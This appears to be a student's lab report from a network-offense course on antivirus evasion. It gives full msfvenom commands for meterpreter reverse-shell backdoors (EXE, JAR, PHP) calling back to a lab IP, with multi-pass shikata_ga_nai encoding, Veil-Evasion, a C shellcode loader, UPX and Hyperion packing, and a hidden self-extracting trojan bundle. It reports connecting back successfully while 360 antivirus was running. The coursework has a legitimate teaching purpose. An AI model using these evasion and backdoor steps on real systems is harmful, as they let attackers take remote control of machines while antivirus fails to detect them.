2018-2019 Exp3 免殺原理與實踐

2018-2019 Exp3 免殺原理與實踐

目錄


1、實驗內容說明及基礎問題回答php

2、實驗過程java

3、問題與思考
git



1、實驗內容說明及基礎問題回答


一、實驗內容
(1)正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧;(1.5分)shell

(2)經過組合應用各類技術實現惡意代碼免殺(1分)(若是成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)編程

(3)用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本(1分)windows

二、基礎問題回答
(1)殺軟是如何檢測出惡意代碼的?網絡

  • 基於特徵碼的檢測
    • 簡單來講一段特徵碼就是一段或多段數據。若是一個可執行文件(或其餘運行的庫、腳本等)包含這樣的數據則被認爲是惡意代碼。
    • AV軟件廠商要作的就是儘可能蒐集最全的、最新的特徵碼庫。因此殺毒軟件的更新很重要。過期的特徵碼庫就是沒有用的庫。
    • 重要的就是,惡意軟件的檢測,並非比對整個文件,而只能只其中一個或幾個片段做爲識別依據。
    • 優勢:檢測效率高、能精確檢測惡意軟件類型和具體名稱。
    • 缺點:滯後性,不能檢測不在特徵庫和變形的惡意軟件,需頻繁更新特徵庫。
  • 啓發式惡意軟件檢測
    • 根據些片面特徵去推斷。一般是由於缺少精確斷定依據。
    • 優勢:能夠檢測0-day惡意軟件;具備必定通用性
    • 缺點:實時監控系統行爲,開銷稍多;沒有基於特徵碼的精確度高
  • 基於行爲的惡意軟件檢測
    • 基於行爲的檢測至關因而啓發式的一種,或者是加入了行爲監控的啓發式。
    • 優勢:可發現未知病毒、可至關準確地預報未知的多數病毒。
    • 缺點:可能誤報、不能識別病毒名稱、實現時有必定難度。

(2)免殺是作什麼?tcp

  • 通常是對惡意軟件作處理,讓它不被殺毒軟件所檢測。也是滲透測試中須要使用到的技術。

(3)免殺的基本方法有哪些?編輯器

  • 變形特徵碼:
    • 只有EXE:
    • 加殼:壓縮殼 加密殼
    • 有shellcode:encode編碼、payload從新編譯
    • 有源代碼:翻譯成其餘語言
  • 改變通信方式
    • 儘可能使用反彈式鏈接
    • 使用隧道技術
    • 加密通信數據
    • 改變操做模式
    • 基於內存操做
    • 減小對系統的修改
    • 加入混淆做用的正常功能代碼
  • 很是規免殺方法:使用社工類攻擊、純手工打造一個惡意軟件等等。
    返回目錄


2、實驗過程

Task1 1.使用msf編碼器生成後門程序及檢測工具


一、在《Exp2:後門原理與實踐》博客中,咱們生成了一個後門文件。

  • 將其放在virscan.org中進行掃描,結果以下圖所示:

二、嘗試用msf編碼器對後門程序進行一次到屢次的編碼

  • 一次編碼:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.116.128 LPORT=5226 -f exe > met-encoded.exe其中-e 爲編碼
  • 十次編碼:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.116.128 LPORT=5226 -f exe > met-encoded10.exe其中-i爲指定編碼個數

  • 編碼十次後產生可執行文件

  • 將編碼十次的可執行文件進行掃描,結果以下:

Task1 2.msfvenom生成jar等文件

  • 生成Java後門程序使用命令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.116.128 lport=5226 x> 20165226_backdoor_java.jar

  • msfvenom生成php文件:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.116.128 lport=5226 x> 20165226_backdoor.php

Task1 3.veil-evasion

  • Veil-Evasion安裝。Veil-Evasion是一個與Metasploit有點相似的軟件,已經在kali虛擬機裏,若是沒有能夠進行在線安裝:sudo apt-get install veil-evasion 注意此處請下載veil-evasion,否則以後會有各類bug,想感覺一下錯誤具體內容的同窗能夠直接veil,固然若是沒報錯那更好
    • 一路點擊nexxt,把須要多選的全選上
    • 最後會顯示Done!,則安裝成功
  • 輸入veil啓用veil

  • 接着輸入use evasion進入veil-evasion

  • 用C語言重寫meterperteruse c/meterpreter/rev_tcp.py

  • 設置反彈鏈接IP及端口,注意此處IP是kaliIP

  • 輸入generate生成文件

  • 輸入playload文件名字

  • /var/lib/veil/output/compiled/playload5226.exe這個路徑下找咱們生成的exe文件,或者直接cp -r /var/lib/veil/output/compiled/playload5226.exe ~/20165226/exp3把生成的文件複製到咱們熟悉的路徑下。

  • 傳回主機時被截獲

  • 使用virscan對文件進行掃描

Task1 4.用shellcode編程

  • msfvenom生成shellcode:msfvenom -p windows/meterpreter/reverse_http lhost=192.168.116.128 lport=5226 -f c

  • 建立一個文件20165226.c,而後將unsigned char buf[]賦值到其中
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
。。。。。。
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用命令i686-w64-mingw32-g++ 20165226.c -o 20165226.exe編譯.c文件爲可執行文件

  • 將文件進行virscan

  • 將以前的半手工打造的shellcode複製命名爲lxs.exe,進行加殼upx lxs.exe -o lxs_upxed.exe

  • 掃描結果爲16/49

  • 再進行加密殼Hyperion
    • 將上一個生成的文件拷貝到/usr/share/windows-binaries/hyperion/目錄中
    • 進入目錄/usr/share/windows-binaries/hyperion/
    • 輸入wine hyperion.exe -v lxs_upxed.exe lxs_upxed_Hyperion.exe

Task 2 經過組合應用各類技術實現惡意代碼免殺

  • 經過shellcode+UPX加殼實現免殺

  • 嘗試自解壓捆綁木馬
    • 將要捆綁的文件放在同一個文件夾下,右擊選擇「添加到壓縮文件」

    • 設置壓縮參數。起一個名字(如:網絡對抗),並在壓縮選項中勾選上「建立自解壓格式壓縮文件」複選框
    • 切換至「高級」選項卡,點擊「自解壓選項」,選中「模式」中的「所有隱藏」並肯定
    • 再打開「文本和圖標」選項卡,填寫「自解壓文件窗口標題」和「自解壓文件窗口中顯示的文本」,並找一個圖標做爲這個自解壓文件的圖標
    • 放到virscan.org試一下,由32%降爲30%,其實並無太大改善

Task 3 用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

  • 採用360(11.5.0.2001)
  • 用電腦測試回連成功(訪問對方電腦:c盤下的錦年)

返回目錄



4、問題與思考

  • 問題1:在用msf編輯器對後門程序進行過屢次編碼時出現錯誤

  • 問題1解決方案:由圖可知,編譯產生了0x20,當出現0時表示截止,多是編譯次數太多,所以將26次改爲10次,再運行,編譯成功

  • 問題2:輸入sudo ./setup.sh -c後,顯示以下後編再也不有任何操做更新,20分鐘後仍無

  • 問題2解決方案:以前是git clone的veil,而後我直接經過命令行sudo apt-get install veil-evasion在線下載,用了近一個半小時但下載後原虛擬機自動重啓,而後一直黑屏,再次重啓也沒法打開,因而從新拷了一臺虛擬機,再次重複操做。

  • 問題3:下載後進行安裝時,一路next後,最後報錯

  • 問題3解決方案:輸入/ust/share/veil/config/setup.sh再次進入安裝

  • 問題4:從新安裝後出現could not load wine-gecko的錯誤

  • 問題4解決方案:經過查找資料,解決方案以下

    輸入如下代碼

$ mkdir -p ~/.cache/wine 
$ cd ~/.cache/wine 
$ wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
$ wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

而後返回主目錄,再次輸入/usr/share/veil/config/setup.sh進行安裝,成功

  • 問題5:kali中沒法進行內容及文件的複製粘貼,從新安裝了vmtools仍不能拖拽(複製粘貼)文件
  • 問題5解決方案:經過查找資料,使用如下方法
    • 輸入apt-get install open-vm-tools-desktop fuse安裝open-vm-tools
    • 輸入vi /etc/apt/sources.list,打開後把deb http://mirrors.tuna.tsinghua.edu.cn/kali/ kali-rolling contrib main non-free(清華的源)加進去,再將kali的源註釋掉(首行加#
    • 更新系統和軟件:apt-get update && apt-get upgrade
    • 安裝vmtools:apt-get install open-vm-tools-desktop fuse
    • 重啓(reboot)
  • 問題6:掃描文件時出現如下問題

  • 問題6解決方案:按要求將名字更改成lxs.exe便可

返回目錄

相關文章
相關標籤/搜索